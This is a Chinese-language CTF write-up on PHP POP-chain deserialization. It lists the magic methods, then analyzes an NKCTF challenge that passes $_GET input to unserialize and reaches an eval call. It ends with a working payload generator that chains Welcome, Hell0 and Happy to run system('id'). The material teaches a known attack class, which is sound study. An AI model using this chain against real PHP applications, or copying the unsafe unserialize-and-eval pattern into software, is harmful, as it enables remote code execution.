目录
它是一种面向属性编程,常用于构造调用链的方法。利用题目源码所给出的各个类,将各个类中原本无害的各个函数,通过构造pop链,使类及其函数有机的组合在一起,从而达到攻击的效果
__construct() //当对象创建时触发
__destruct() //当对象销毁时触发
__wakeup() //当使用unserialize时触发
__sleep() //当使用serialize时触发
__destruct() //当对象被销毁时触发
__call() //当对象上下文中调用不可访问的方法时触发
__get() //当访问不可访问或不存在的属性时触发
__set() //当设置不可访问或不存在属性时触发
__toString() //当把类当作字符串使用时触发
__invoke() //当对象调用为函数时触发
其中经常用到的为_toString方法,当这个类被当做字符串处理时自动调用,比如说定义了一个a类,当a与处理字符串的函数结合时,便会调用此方法,例如 echo $a
<?php
class Welcome{
public $name;
public $arg = 'oww!man!!';
public function __construct(){
$this->name = 'ItS SO CREAZY';
}
public function __destruct(){
if($this->name == 'welcome_to_NKCTF'){
echo $this->arg;
}
}
}
class Happy{
public $shell;
public $cmd;
public function __invoke(){
$shell = $this->shell;
$cmd = $this->cmd;
eval($shell($cmd));
}
}
class Hell0{
public $func;
public function __toString(){
$function = $this->func;
$function();
}
}
echo unserialize($_GET['a']);
?>
class Welcome{
public $name;
public $arg = 'oww!man!!';
public function __construct(){
$this->name = 'ItS SO CREAZY';
}
public function __destruct(){
if($this->name == 'welcome_to_NKCTF'){
echo $this->arg;
}
}
}
类中的构造方法可以忽略,反序列化时不会执行,其中析构方法会在类执行结束时自动执行,通过分析可知,如果$this->name == 'welcome_to_NKCTF,便会输出arg变量,arg变量可控,可将此类作为pop链头,传入参数
class Happy{
public $shell;
public $cmd;
public function __invoke(){
$shell = $this->shell;
$cmd = $this->cmd;
eval($shell($cmd));
}
}
由_invoke方法可知,该类被当做函数执行时,会执行eval($shell($cmd)),该函数可被注入恶意代码,并且$shell和$cmd变量都可控,可将此类作为pop链终点,执行恶意代码
class Hell0{
public $func;
public function __toString(){
$function = $this->func;
$function();
}
}
由_toString方法可知,该类被当做字符串执行时,会执行$function()函数,并且函数名可控,可将此类作为pop链的中部,承上启下
我们可以通过Welcome类中的echo函数,将Hell0类当做字符串,从而调用Hell0中的_toString方法
代码表示为:
$a=new Welcome();
$c=new Hell0();
$a->name='welcome_to_NKCTF';
$a->arg=$c;
然后可以将Hell0类中的$function变量赋值为Happy类,从而在Hell0类被当做字符串调用时,通过_toString方法调用Happy类中的_invoke方法,从而执行恶意代码
代码表示为:
$b=new Happy();
$c=new Hell0();
$b->shell='system';
$b->cmd="id";
$c->func=$b;
$a=new Welcome();
$b=new Happy();
$c=new Hell0();
$a->name='welcome_to_NKCTF';
$a->arg=$c;
$c->func=$b;
$b->shell='system';
$b->cmd="id";
echo urlencode(serialize($a));
调用过程 :Welcome::echo -> Hell0::_toString -> Hell0::$function -> Happy::_invoke